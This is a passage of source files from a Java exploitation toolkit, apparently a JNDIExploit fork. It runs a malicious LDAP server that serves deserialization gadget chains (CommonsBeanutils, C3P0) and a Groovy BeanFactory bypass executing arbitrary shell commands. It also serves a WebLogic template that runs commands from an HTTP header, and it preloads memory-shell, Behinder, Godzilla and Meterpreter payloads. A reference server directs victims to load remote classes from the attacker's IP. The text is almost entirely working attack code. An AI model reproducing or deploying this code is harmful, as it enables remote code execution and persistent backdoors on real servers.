49 | byte[] bytes = baous.toByteArray(); 50 | oos.close(); 51 | 52 | return bytes; 53 | } 54 | } 55 | -------------------------------------------------------------------------------- /src/main/java/com/feihong/ldap/gadgets/CommonsBeanutils2.java: -------------------------------------------------------------------------------- 1 | package com.feihong.ldap.gadgets; 2 | 3 | import com.feihong.ldap.enumtypes.PayloadType; 4 | import com.feihong.ldap.gadgets.utils.Gadgets; 5 | import com.feihong.ldap.gadgets.utils.Reflections; 6 | import com.feihong.ldap.utils.MyURLClassLoader; 7 | import java.io.ByteArrayOutputStream; 8 | import java.io.FileOutputStream; 9 | import java.io.ObjectOutputStream; 10 | import java.math.BigInteger; 11 | import java.util.Comparator; 12 | import java.util.PriorityQueue; 13 | 14 | public class CommonsBeanutils2 { 15 | public static void main(String[] args) throws Exception { 16 | byte[] bytes = getBytes(PayloadType.command, "calc"); 17 | FileOutputStream fous = new FileOutputStream("333.ser"); 18 | fous.write(bytes); 19 | fous.close(); 20 | } 21 | 22 | public static byte[] getBytes(PayloadType type, String... param) throws Exception { 23 | final Object templates = Gadgets.createTemplatesImpl(type, param); 24 | // mock method name until armed 25 | MyURLClassLoader classLoader = new MyURLClassLoader("commons-beanutils-1.8.2.jar"); 26 | Class clazz = classLoader.loadClass("org.apache.commons.beanutils.BeanComparator"); 27 | Object comparator = clazz.getDeclaredConstructor(new Class[]{String.class}).newInstance(new Object[]{"lowestSetBit"}); 28 | 29 | 30 | // create queue with numbers and basic comparator 31 | final PriorityQueue queue = new PriorityQueue(2, (Comparator) comparator); 32 | // stub data for replacement later 33 | queue.add(new BigInteger("1")); 34 | queue.add(new BigInteger("1")); 35 | 36 | // switch method called by comparator 37 | Reflections.setFieldValue(comparator, "property", "outputProperties"); 38 | 39 | // switch contents of queue 40 | final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue"); 41 | queueArray[0] = templates; 42 | queueArray[1] = templates; 43 | 44 | 45 | //序列化 46 | ByteArrayOutputStream baous = new ByteArrayOutputStream(); 47 | ObjectOutputStream oos = new ObjectOutputStream(baous); 48 | oos.writeObject(queue); 49 | byte[] bytes = baous.toByteArray(); 50 | oos.close(); 51 | 52 | return bytes; 53 | } 54 | } 55 | -------------------------------------------------------------------------------- /src/main/java/com/feihong/ldap/gadgets/utils/Reflections.java: -------------------------------------------------------------------------------- 1 | package com.feihong.ldap.gadgets.utils; 2 | 3 | import com.nqzero.permit.Permit; 4 | import sun.reflect.ReflectionFactory; 5 | import java.lang.reflect.AccessibleObject; 6 | import java.lang.reflect.Constructor; 7 | import java.lang.reflect.Field; 8 | import java.lang.reflect.InvocationTargetException; 9 | 10 | @SuppressWarnings ( "restriction" ) 11 | public class Reflections { 12 | 13 | public static void setAccessible(AccessibleObject member) { 14 | // quiet runtime warnings from JDK9+ 15 | Permit.setAccessible(member); 16 | } 17 | 18 | public static Field getField(final Class clazz, final String fieldName) { 19 | Field field = null; 20 | try { 21 | field = clazz.getDeclaredField(fieldName); 22 | setAccessible(field); 23 | } 24 | catch (NoSuchFieldException ex) { 25 | if (clazz.getSuperclass() != null) 26 | field = getField(clazz.getSuperclass(), fieldName); 27 | } 28 | return field; 29 | } 30 | 31 | public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception { 32 | final Field field = getField(obj.getClass(), fieldName); 33 | field.set(obj, value); 34 | } 35 | 36 | public static Object getFieldValue(final Object obj, final String fieldName) throws Exception { 37 | final Field field = getField(obj.getClass(), fieldName); 38 | return field.get(obj); 39 | } 40 | 41 | public static Constructor getFirstCtor(final String name) throws Exception { 42 | final Constructor ctor = Class.forName(name).getDeclaredConstructors()[0]; 43 | setAccessible(ctor); 44 | return ctor; 45 | } 46 | 47 | public static Object newInstance(String className, Object ... args) throws Exception { 48 | return getFirstCtor(className).newInstance(args); 49 | } 50 | 51 | public static T createWithoutConstructor ( Class classToInstantiate ) 52 | throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException { 53 | return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]); 54 | } 55 | 56 | @SuppressWarnings ( {"unchecked"} ) 57 | public static T createWithConstructor ( Class classToInstantiate, Class constructorClass, Class[] consArgTypes, Object[] consArgs ) 58 | throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException { 59 | Constructor objCons = constructorClass.getDeclaredConstructor(consArgTypes); 60 | setAccessible(objCons); 61 | Constructor sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons); 62 | setAccessible(sc); 63 | return (T)sc.newInstance(consArgs); 64 | } 65 | 66 | } -------------------------------------------------------------------------------- /src/main/java/com/feihong/ldap/template/WeblogicEchoTemplate.java: -------------------------------------------------------------------------------- 1 | package com.feihong.ldap.template; 2 | 3 | import com.sun.org.apache.xalan.internal.xsltc.DOM; 4 | import com.sun.org.apache.xalan.internal.xsltc.TransletException; 5 | import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; 6 | import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; 7 | import com.sun.org.apache.xml.internal.serializer.SerializationHandler; 8 | import weblogic.servlet.internal.ServletResponseImpl; 9 | import weblogic.work.ExecuteThread; 10 | import weblogic.work.WorkAdapter; 11 | import weblogic.xml.util.StringInputStream; 12 | import java.lang.reflect.Field; 13 | import java.util.Scanner; 14 | 15 | public class WeblogicEchoTemplate extends AbstractTranslet { 16 | 17 | public WeblogicEchoTemplate(){ 18 | try{ 19 | WorkAdapter adapter = ((ExecuteThread)Thread.currentThread()).getCurrentWork(); 20 | if(adapter.getClass().getName().endsWith("ServletRequestImpl")){ 21 | String cmd = (String) adapter.getClass().getMethod("getHeader", String.class).invoke(adapter, "cmd"); 22 | if(cmd != null && !cmd.isEmpty()){ 23 | String result = new Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next(); 24 | ServletResponseImpl res = (ServletResponseImpl) adapter.getClass().getMethod("getResponse").invoke(adapter); 25 | res.getServletOutputStream().writeStream(new StringInputStream(result)); 26 | res.getServletOutputStream().flush(); 27 | res.getWriter().write(""); 28 | } 29 | }else{ 30 | Field field = adapter.getClass().getDeclaredField("connectionHandler"); 31 | field.setAccessible(true); 32 | Object obj = field.get(adapter); 33 | obj = obj.getClass().getMethod("getServletRequest").invoke(obj); 34 | String cmd = (String) obj.getClass().getMethod("getHeader", String.class).invoke(obj, "cmd"); 35 | if(cmd != null && !cmd.isEmpty()){ 36 | String result = new Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next(); 37 | ServletResponseImpl res = (ServletResponseImpl) obj.getClass().getMethod("getResponse").invoke(obj); 38 | res.getServletOutputStream().writeStream(new StringInputStream(result)); 39 | res.getServletOutputStream().flush(); 40 | res.getWriter().write(""); 41 | } 42 | } 43 | }catch(Exception e){ 44 | e.printStackTrace(); 45 | } 46 | } 47 | 48 | @Override 49 | public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { 50 | 51 | } 52 | 53 | @Override 54 | public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { 55 | 56 | } 57 | } 58 | -------------------------------------------------------------------------------- /src/main/java/com/feihong/ldap/utils/Cache.java: -------------------------------------------------------------------------------- 1 | package com.feihong.ldap.utils; 2 | 3 | import com.feihong.ldap.template.*; 4 | import net.jodah.expiringmap.ExpirationPolicy; 5 | import net.jodah.expiringmap.ExpiringMap; 6 | import java.util.concurrent.TimeUnit; 7 | 8 | public class Cache { 9 | private static ExpiringMap map = ExpiringMap.builder() 10 | .maxSize(1000) 11 | .expiration(30, TimeUnit.SECONDS) 12 | .variableExpiration() 13 | .expirationPolicy(ExpirationPolicy.CREATED) 14 | .build(); 15 | 16 | static{ 17 | try { 18 | //过期时间100年,永不过期的简单方法 19 | map.put("TomcatEchoTemplate", Util.getClassBytes(TomcatEchoTemplate.class), 365 * 100, TimeUnit.DAYS); 20 | map.put("SpringEchoTemplate", Util.getClassBytes(SpringEchoTemplate.class), 365 * 100, TimeUnit.DAYS); 21 | map.put("WeblogicEchoTemplate", Util.getClassBytes(WeblogicEchoTemplate.class), 365 * 100, TimeUnit.DAYS); 22 | map.put("TomcatMemshellTemplate1", Util.getClassBytes(TomcatMemshellTemplate1.class), 365 * 100, TimeUnit.DAYS); 23 | map.put("TomcatMemshellTemplate2", Util.getClassBytes(TomcatMemshellTemplate2.class), 365 * 100, TimeUnit.DAYS); 24 | map.put("JettyMemshellTemplate", Util.getClassBytes(JettyMemshellTemplate.class), 365 * 100, TimeUnit.DAYS); 25 | map.put("WeblogicMemshellTemplate1", Util.getClassBytes(WeblogicMemshellTemplate1.class), 365 * 100, TimeUnit.DAYS); 26 | map.put("WeblogicMemshellTemplate2", Util.getClassBytes(WeblogicMemshellTemplate2.class), 365 * 100, TimeUnit.DAYS); 27 | map.put("BehinderFilter", Util.getClassBytes(BehinderFilter.class), 365 * 100, TimeUnit.DAYS); 28 | map.put("JBossMemshellTemplate", Util.getClassBytes(JBossMemshellTemplate.class), 365 * 100, TimeUnit.DAYS); 29 | map.put("WebsphereMemshellTemplate", Util.getClassBytes(WebsphereMemshellTemplate.class), 365 * 100, TimeUnit.DAYS); 30 | map.put("SpringMemshellTemplate", Util.getClassBytes(SpringMemshellTemplate.class), 365 * 100, TimeUnit.DAYS); 31 | map.put("isOK", Util.getClassBytes(isOK.class), 365 * 100, TimeUnit.DAYS); 32 | //测试添加到cache中 33 | map.put("isSuccess",Util.getClassBytes(isSuccess.class),365 * 100, TimeUnit.DAYS); 34 | map.put("GodzillaFilter",Util.getClassBytes(GodzillaFilter.class),365 * 100, TimeUnit.DAYS); 35 | map.put("JettyBehinderFilter",Util.getClassBytes(JettyBehinderFilter.class),365 * 100, TimeUnit.DAYS); 36 | map.put("Meterpreter",ClassByteChange.update(Meterpreter.class),365 * 100, TimeUnit.DAYS); 37 | // add 38 | map.put("TomcatMemshellall1",Util.getClassBytes(TomcatMemshellall1.class),365 * 100, TimeUnit.DAYS); 39 | map.put("TomcatMemshellall2",Util.getClassBytes(TomcatMemshellall2.class),365 * 100, TimeUnit.DAYS); 40 | map.put("SpringMemshellall1",Util.getClassBytes(SpringMemshellall.class),365 * 100, TimeUnit.DAYS); 41 | } catch (Exception e) { 42 | e.printStackTrace(); 43 | } 44 | } 45 | 46 | public static byte[] get(String key){ 47 | return map.get(key); 48 | } 49 | 50 | public static void set(String key, byte[] bytes){ 51 | map.put(key, bytes); 52 | } 53 | 54 | public static boolean contains(String key){ 55 | return map.containsKey(key); 56 | } 57 | 58 | public static void remove(String key){ 59 | map.remove(key); 60 | } 61 | } 62 | -------------------------------------------------------------------------------- /src/main/java/com/feihong/ldap/controllers/GroovyBypassController.java: -------------------------------------------------------------------------------- 1 | package com.feihong.ldap.controllers; 2 | 3 | import com.feihong.ldap.enumtypes.PayloadType; 4 | import com.feihong.ldap.exceptions.IncorrectParamsException; 5 | import com.feihong.ldap.exceptions.UnSupportedPayloadTypeException; 6 | import com.feihong.ldap.utils.*; 7 | import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; 8 | import com.unboundid.ldap.sdk.Entry; 9 | import com.unboundid.ldap.sdk.LDAPResult; 10 | import com.unboundid.ldap.sdk.ResultCode; 11 | import org.apache.naming.ResourceRef; 12 | import javax.naming.StringRefAddr; 13 | 14 | /* 15 | * Requires: 16 | * - Tomcat and Groovy in classpath 17 | * 18 | * @author https://twitter.com/orange_8361 and https://github.com/welk1n 19 | * 20 | * Groovy 语法参考: 21 | * - https://xz.aliyun.com/t/8231#toc-7 22 | * - https://my.oschina.net/jjyuangu/blog/1815945 23 | * - https://stackoverflow.com/questions/4689240/detecting-the-platform-window-or-linux-by-groovy-grails 24 | */ 25 | 26 | @LdapMapping(uri = { "/groovybypass" }) 27 | public class GroovyBypassController implements LdapController { 28 | private PayloadType type; 29 | private String[] params; 30 | private String template = " if (System.properties['os.name'].toLowerCase().contains('windows')) {\n" + 31 | " ['cmd','/C', '${cmd}'].execute();\n" + 32 | " } else {\n" + 33 | " ['/bin/sh','-c', '${cmd}'].execute();\n" + 34 | " }"; 35 | 36 | @Override 37 | public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception { 38 | System.out.println("[+] Sending LDAP ResourceRef result for " + base + " with groovy.lang.GroovyShell payload"); 39 | 40 | Entry e = new Entry(base); 41 | e.addAttribute("javaClassName", "java.lang.String"); //could be any 42 | 43 | //prepare payload that exploits unsafe reflection in org.apache.naming.factory.BeanFactory 44 | ResourceRef ref = new ResourceRef("groovy.lang.GroovyShell", null, "", "", true,"org.apache.naming.factory.BeanFactory",null); 45 | ref.add(new StringRefAddr("forceString", "x=evaluate")); 46 | ref.add(new StringRefAddr("x", template.replace("${cmd}", params[0]).replace("${cmd}", params[0]))); 47 | 48 | e.addAttribute("javaSerializedData", Util.serialize(ref)); 49 | 50 | result.sendSearchEntry(e); 51 | result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); 52 | } 53 | 54 | @Override 55 | public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException { 56 | try{ 57 | int firstIndex = base.indexOf("/"); 58 | int secondIndex = base.indexOf("/", firstIndex + 1); 59 | if(secondIndex < 0) secondIndex = base.length(); 60 | 61 | //因为我对 grovvy 的语法完全不懂,所以目前只支持执行命令这一种形式的 PayloadType 62 | String payloadType = base.substring(firstIndex + 1, secondIndex); 63 | if(payloadType.equalsIgnoreCase("command")){ 64 | type = PayloadType.valueOf("command"); 65 | System.out.println("[+] Paylaod: " + type); 66 | }else{ 67 | throw new UnSupportedPayloadTypeException("UnSupportedPayloadType: " + payloadType); 68 | } 69 | 70 | String cmd = Util.getCmdFromBase(base); 71 | System.out.println("[+] Command: " + cmd); 72 | params = new String[]{cmd}; 73 | }catch(Exception e){ 74 | if(e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException)e; 75 | 76 | throw new IncorrectParamsException("Incorrect params: " + base); 77 | } 78 | } 79 | } -------------------------------------------------------------------------------- /src/main/java/com/feihong/ldap/LdapServer.java: -------------------------------------------------------------------------------- 1 | package com.feihong.ldap; 2 | 3 | import com.feihong.ldap.controllers.LdapController; 4 | import com.feihong.ldap.controllers.LdapMapping; 5 | import com.feihong.ldap.utils.Config; 6 | import com.unboundid.ldap.listener.InMemoryDirectoryServer; 7 | import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig; 8 | import com.unboundid.ldap.listener.InMemoryListenerConfig; 9 | import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; 10 | import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor; 11 | import org.reflections.Reflections; 12 | import javax.net.ServerSocketFactory; 13 | import javax.net.SocketFactory; 14 | import javax.net.ssl.SSLSocketFactory; 15 | import java.lang.reflect.Constructor; 16 | import java.net.InetAddress; 17 | import java.util.Set; 18 | import java.util.TreeMap; 19 | 20 | 21 | public class LdapServer extends InMemoryOperationInterceptor { 22 | 23 | TreeMap routes = new TreeMap(); 24 | 25 | public static void start() { 26 | try { 27 | InMemoryDirectoryServerConfig serverConfig = new InMemoryDirectoryServerConfig("dc=example,dc=com"); 28 | serverConfig.setListenerConfigs(new InMemoryListenerConfig( 29 | "listen", 30 | InetAddress.getByName("0.0.0.0"), 31 | Config.ldapPort, 32 | ServerSocketFactory.getDefault(), 33 | SocketFactory.getDefault(), 34 | (SSLSocketFactory) SSLSocketFactory.getDefault())); 35 | //添加操作拦截器 36 | //将提供的操作拦截器添加到操作拦截器列表中,该列表可用于在请求被内存目录服务器处理之前转换请求,和/或在响应返回给客户端之前转换响应。 37 | serverConfig.addInMemoryOperationInterceptor(new LdapServer()); 38 | InMemoryDirectoryServer ds = new InMemoryDirectoryServer(serverConfig); 39 | ds.startListening(); 40 | System.out.println("[+] LDAP Server Start Listening on " + Config.ldapPort + "..."); 41 | } 42 | catch ( Exception e ) { 43 | e.printStackTrace(); 44 | } 45 | } 46 | 47 | public LdapServer() throws Exception { 48 | 49 | //find all classes annotated with @LdapMapping 50 | Set> controllers = new Reflections(this.getClass().getPackage().getName()) 51 | .getTypesAnnotatedWith(LdapMapping.class); 52 | 53 | //instantiate them and store in the routes map 54 | for(Class controller : controllers) { 55 | Constructor cons = controller.getConstructor(); 56 | LdapController instance = (LdapController) cons.newInstance(); 57 | String[] mappings = controller.getAnnotation(LdapMapping.class).uri(); 58 | for(String mapping : mappings) { 59 | if(mapping.startsWith("/")) 60 | mapping = mapping.substring(1); //remove first forward slash 61 | 62 | routes.put(mapping, instance); 63 | } 64 | } 65 | } 66 | 67 | /** 68 | * {@inheritDoc} 69 | * 70 | * @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult) 71 | * 关键在这个类里进行了处理 72 | * 官方说明:在提供的搜索结果返回给客户端之前,调用应该对其执行的任何处理。 73 | */ 74 | @Override 75 | public void processSearchResult(InMemoryInterceptedSearchResult result) { 76 | String base = result.getRequest().getBaseDN(); 77 | //收到ldap请求 78 | System.out.println("[+] Received LDAP Query: " + base); 79 | LdapController controller = null; 80 | //find controller 81 | //根据请求的路径从route中匹配相应的controller 82 | for(String key: routes.keySet()) { 83 | //compare using wildcard at the end 84 | if(base.toLowerCase().startsWith(key)) { 85 | controller = routes.get(key); 86 | break; 87 | } 88 | } 89 | 90 | if(controller == null){ 91 | System.out.println("[!] Invalid LDAP Query: " + base); 92 | return; 93 | } 94 | 95 | try { 96 | //从控制器中进行返回 97 | controller.process(base); 98 | controller.sendResult(result, base); 99 | } catch (Exception e1) { 100 | System.out.println("[!] Exception: " + e1.getMessage()); 101 | } 102 | } 103 | } -------------------------------------------------------------------------------- /src/main/java/com/feihong/ldap/LDAPRefServer.java: -------------------------------------------------------------------------------- 1 | package com.feihong.ldap; 2 | 3 | import java.net.InetAddress; 4 | import java.net.MalformedURLException; 5 | import java.net.URL; 6 | 7 | import javax.net.ServerSocketFactory; 8 | import javax.net.SocketFactory; 9 | import javax.net.ssl.SSLSocketFactory; 10 | 11 | import com.feihong.ldap.utils.Config; 12 | import com.unboundid.ldap.listener.InMemoryDirectoryServer; 13 | import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig; 14 | import com.unboundid.ldap.listener.InMemoryListenerConfig; 15 | import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; 16 | import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor; 17 | import com.unboundid.ldap.sdk.Entry; 18 | import com.unboundid.ldap.sdk.LDAPException; 19 | import com.unboundid.ldap.sdk.LDAPResult; 20 | import com.unboundid.ldap.sdk.ResultCode; 21 | 22 | 23 | /** 24 | * LDAP server implementation returning JNDI references 25 | * 26 | * @author mbechler 27 | * 28 | */ 29 | public class LDAPRefServer { 30 | 31 | private static final String LDAP_BASE = "dc=example,dc=com"; 32 | 33 | 34 | public static void main () { 35 | int port = 13890; 36 | // if ( args.length < 1 || args[ 0 ].indexOf('#') < 0 ) { 37 | // System.err.println(LDAPRefServer.class.getSimpleName() + " []"); //$NON-NLS-1$ 38 | // System.exit(-1); 39 | // } 40 | // else if ( args.length > 1 ) { 41 | // port = C 42 | // } 43 | String url = "http://" + Config.ip + ":34560/#BehinderFilter" ; 44 | 45 | try { 46 | InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE); 47 | config.setListenerConfigs(new InMemoryListenerConfig( 48 | "listen", //$NON-NLS-1$ 49 | InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$ 50 | port, 51 | ServerSocketFactory.getDefault(), 52 | SocketFactory.getDefault(), 53 | (SSLSocketFactory) SSLSocketFactory.getDefault())); 54 | 55 | config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url))); 56 | InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config); 57 | System.out.println("[+] LDAP Server2 Listening Start on 0.0.0.0:" + port); //$NON-NLS-1$ 58 | ds.startListening(); 59 | 60 | } 61 | catch ( Exception e ) { 62 | e.printStackTrace(); 63 | } 64 | } 65 | 66 | private static class OperationInterceptor extends InMemoryOperationInterceptor { 67 | 68 | private URL codebase; 69 | 70 | 71 | /** 72 | * 73 | */ 74 | public OperationInterceptor ( URL cb ) { 75 | this.codebase = cb; 76 | } 77 | 78 | 79 | /** 80 | * {@inheritDoc} 81 | * 82 | * @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult) 83 | */ 84 | @Override 85 | public void processSearchResult ( InMemoryInterceptedSearchResult result ) { 86 | String base = result.getRequest().getBaseDN(); 87 | Entry e = new Entry(base); 88 | try { 89 | sendResult(result, base, e); 90 | } 91 | catch ( Exception e1 ) { 92 | e1.printStackTrace(); 93 | } 94 | 95 | } 96 | 97 | 98 | protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException { 99 | URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class")); 100 | System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl); 101 | e.addAttribute("javaClassName", "foo"); 102 | String cbstring = this.codebase.toString(); 103 | int refPos = cbstring.indexOf('#'); 104 | if ( refPos > 0 ) { 105 | cbstring = cbstring.substring(0, refPos); 106 | } 107 | e.addAttribute("javaCodeBase", cbstring); 108 | e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$ 109 | e.addAttribute("javaFactory", this.codebase.getRef()); 110 | result.sendSearchEntry(e); 111 | result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); 112 | } 113 | 114 | } 115 | } 116 | -------------------------------------------------------------------------------- /target/maven-status/maven-compiler-plugin/compile/default-compile/createdFiles.lst: -------------------------------------------------------------------------------- 1 | com/feihong/ldap/controllers/LdapMapping.class 2 | com/feihong/ldap/HTTPServer.class 3 | com/feihong/ldap/template/TomcatMemshellTemplate2.class 4 | com/feihong/ldap/RMIRefServer.class 5 | com/ibm/websphere/client/factory/jdbc/PropertiesRefAddr.class 6 | com/feihong/ldap/gadgets/CVE_2020_2883$1.class 7 | com/feihong/ldap/template/SpringMemshellTemplate.class 8 | com/feihong/ldap/template/CommandTemplate.class 9 | com/feihong/ldap/template/JettyMemshellTemplate.class 10 | com/feihong/ldap/gadgets/C3P0$PoolSource.class 11 | com/feihong/ldap/controllers/TomcatBypassController$TomcatBypassHelper.class 12 | com/feihong/ldap/template/DynamicInterceptorTemplate.class 13 | com/feihong/ldap/gadgets/Jre8u20.class 14 | com/feihong/ldap/controllers/LdapController.class 15 | com/feihong/ldap/gadgets/URLDNS$SilentURLStreamHandler.class 16 | com/feihong/ldap/gadgets/utils/Gadgets.class 17 | com/feihong/ldap/gadgets/C3P0.class 18 | com/feihong/ldap/template/WeblogicMemshellTemplate1.class 19 | com/feihong/ldap/utils/ClassByteChange.class 20 | com/feihong/ldap/gadgets/utils/Util.class 21 | com/feihong/ldap/utils/MyURLClassLoader.class 22 | com/feihong/ldap/controllers/WebsphereBypassController.class 23 | com/feihong/ldap/template/BehinderFilter.class 24 | com/feihong/ldap/template/GodzillaFilter.class 25 | com/feihong/ldap/LDAPRefServer$OperationInterceptor.class 26 | com/feihong/ldap/enumtypes/WebsphereActionType.class 27 | com/feihong/ldap/template/SpringTemp.class 28 | com/feihong/ldap/template/ReverseShellTemplate.class 29 | com/feihong/ldap/gadgets/CommonsCollectionsK2.class 30 | com/feihong/ldap/gadgets/utils/Gadgets$StubTransletPayload.class 31 | com/feihong/ldap/template/TomcatMemshelljmxall3.class 32 | com/feihong/ldap/template/isSuccess.class 33 | com/feihong/ldap/template/MyClassLoader.class 34 | com/feihong/ldap/RMIRefServer$1.class 35 | com/feihong/ldap/gadgets/CVE_2020_2555.class 36 | com/feihong/ldap/controllers/WebsphereBypassController$1.class 37 | com/feihong/ldap/controllers/BasicController$1.class 38 | com/feihong/ldap/LDAPRefServer.class 39 | com/feihong/ldap/enumtypes/GadgetType.class 40 | com/feihong/ldap/gadgets/C3P0$1.class 41 | com/feihong/ldap/RMIRefServer$MarshalOutputStream.class 42 | com/feihong/ldap/gadgets/CommonsBeanutils2.class 43 | com/feihong/ldap/template/WebsphereMemshellTemplate.class 44 | com/feihong/ldap/utils/Util.class 45 | com/feihong/ldap/gadgets/URLDNS.class 46 | com/feihong/ldap/controllers/SerializedDataController.class 47 | com/feihong/ldap/template/JBossMemshellTemplate.class 48 | com/feihong/ldap/gadgets/utils/Gadgets$1.class 49 | com/feihong/ldap/template/TomcatTemp.class 50 | com/feihong/ldap/template/TomcatMemshellall.class 51 | com/feihong/ldap/controllers/TomcatBypassController$1.class 52 | com/feihong/ldap/template/TomcatMemshellall2.class 53 | com/feihong/ldap/controllers/SerializedDataController$1.class 54 | com/feihong/ldap/controllers/TomcatBypassController.class 55 | com/feihong/ldap/Starter.class 56 | com/feihong/ldap/template/TomcatEchoTemplate.class 57 | com/feihong/ldap/exceptions/UnSupportedGadgetTypeException.class 58 | com/feihong/ldap/gadgets/CommonsCollectionsK1.class 59 | com/feihong/ldap/RMIRefServer$2.class 60 | com/feihong/ldap/template/SpringEchoTemplate.class 61 | com/feihong/ldap/controllers/GroovyBypassController.class 62 | com/feihong/ldap/gadgets/utils/ClassFiles.class 63 | com/feihong/ldap/template/WeblogicEchoTemplate.class 64 | com/feihong/ldap/exceptions/UnSupportedPayloadTypeException.class 65 | com/feihong/ldap/exceptions/IncorrectParamsException.class 66 | com/feihong/ldap/template/JettyBehinderFilter.class 67 | com/feihong/ldap/gadgets/utils/Gadgets$Foo.class 68 | com/feihong/ldap/utils/Cache.class 69 | com/feihong/ldap/gadgets/Jdk7u21.class 70 | Meterpreter.class 71 | com/feihong/ldap/template/TomcatMemshellTemplate1.class 72 | com/feihong/ldap/controllers/BasicController.class 73 | com/feihong/ldap/template/Template.class 74 | com/feihong/ldap/exceptions/UnSupportedActionTypeException.class 75 | com/feihong/ldap/template/DynamicFilterTemplate.class 76 | com/feihong/ldap/gadgets/CVE_2020_2555$1.class 77 | com/feihong/ldap/enumtypes/PayloadType.class 78 | com/feihong/ldap/LdapServer.class 79 | com/feihong/ldap/gadgets/CommonsBeanutils1.class 80 | com/feihong/ldap/template/Meterpreter.class 81 | com/feihong/ldap/HTTPServer$1.class 82 | com/feihong/ldap/utils/Config.class 83 | com/feihong/ldap/template/isOK.class 84 | com/feihong/ldap/template/WeblogicMemshellTemplate2.class 85 | com/feihong/ldap/gadgets/CVE_2020_2883.class 86 | com/feihong/ldap/template/DnslogTemplate.class 87 | com/feihong/ldap/gadgets/utils/Reflections.class 88 | com/feihong/ldap/template/SpringMemshellall.class 89 | com/feihong/ldap/RMIRefServer$Dummy.class 90 | -------------------------------------------------------------------------------- /src/main/java/com/feihong/ldap/gadgets/C3P0.java: -------------------------------------------------------------------------------- 1 | package com.feihong.ldap.gadgets; 2 | 3 | import java.io.ByteArrayOutputStream; 4 | import java.io.ObjectOutputStream; 5 | import java.io.PrintWriter; 6 | import java.lang.reflect.Field; 7 | import java.sql.SQLException; 8 | import java.sql.SQLFeatureNotSupportedException; 9 | import java.util.logging.Logger; 10 | import javax.naming.NamingException; 11 | import javax.naming.Reference; 12 | import javax.naming.Referenceable; 13 | import javax.sql.ConnectionPoolDataSource; 14 | import javax.sql.PooledConnection; 15 | 16 | import com.feihong.ldap.template.*; 17 | import com.feihong.ldap.utils.Config; 18 | import com.feihong.ldap.enumtypes.PayloadType; 19 | import com.mchange.v2.c3p0.PoolBackedDataSource; 20 | import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase; 21 | 22 | 23 | public class C3P0 { 24 | public static byte[] getBytes(PayloadType type, String... param) throws Exception { 25 | 26 | String className; 27 | switch (type){ 28 | case command: 29 | CommandTemplate commandTemplate = new CommandTemplate(param[0]); 30 | commandTemplate.cache(); 31 | className = commandTemplate.getClassName(); 32 | break; 33 | case dnslog: 34 | DnslogTemplate dnslogTemplate = new DnslogTemplate(param[0]); 35 | dnslogTemplate.cache(); 36 | className = dnslogTemplate.getClassName(); 37 | break; 38 | case reverseshell: 39 | ReverseShellTemplate reverseShellTemplate = new ReverseShellTemplate(param[0], param[1]); 40 | reverseShellTemplate.cache(); 41 | className = reverseShellTemplate.getClassName(); 42 | break; 43 | case tomcatecho: 44 | className = TomcatEchoTemplate.class.getName(); 45 | break; 46 | case springecho: 47 | className = SpringEchoTemplate.class.getName(); 48 | break; 49 | case weblogicecho: 50 | className = WeblogicEchoTemplate.class.getName(); 51 | break; 52 | case tomcatmemshell1: 53 | className = TomcatMemshellTemplate1.class.getName(); 54 | break; 55 | case tomcatmemshell2: 56 | className = TomcatMemshellTemplate2.class.getName(); 57 | break; 58 | case jettymemshell: 59 | className = JettyMemshellTemplate.class.getName(); 60 | break; 61 | case jbossmemshell: 62 | className = JBossMemshellTemplate.class.getName(); 63 | break; 64 | case weblogicmemshell1: 65 | className = WeblogicMemshellTemplate1.class.getName(); 66 | break; 67 | case weblogicmemshell2: 68 | className = WeblogicMemshellTemplate2.class.getName(); 69 | break; 70 | case webspherememshell: 71 | className = WebsphereMemshellTemplate.class.getName(); 72 | break; 73 | case springmemshell: 74 | className = SpringMemshellTemplate.class.getName(); 75 | break; 76 | default: 77 | throw new IllegalStateException("Unexpected value: " + type); 78 | } 79 | 80 | PoolBackedDataSource b = PoolBackedDataSource.class.newInstance(); 81 | Field field = PoolBackedDataSourceBase.class.getDeclaredField("connectionPoolDataSource"); 82 | field.setAccessible(true); 83 | field.set(b, new PoolSource(className,"http://" + Config.ip + ":" + Config.httpPort + "/")); 84 | 85 | //序列化 86 | ByteArrayOutputStream baous = new ByteArrayOutputStream(); 87 | 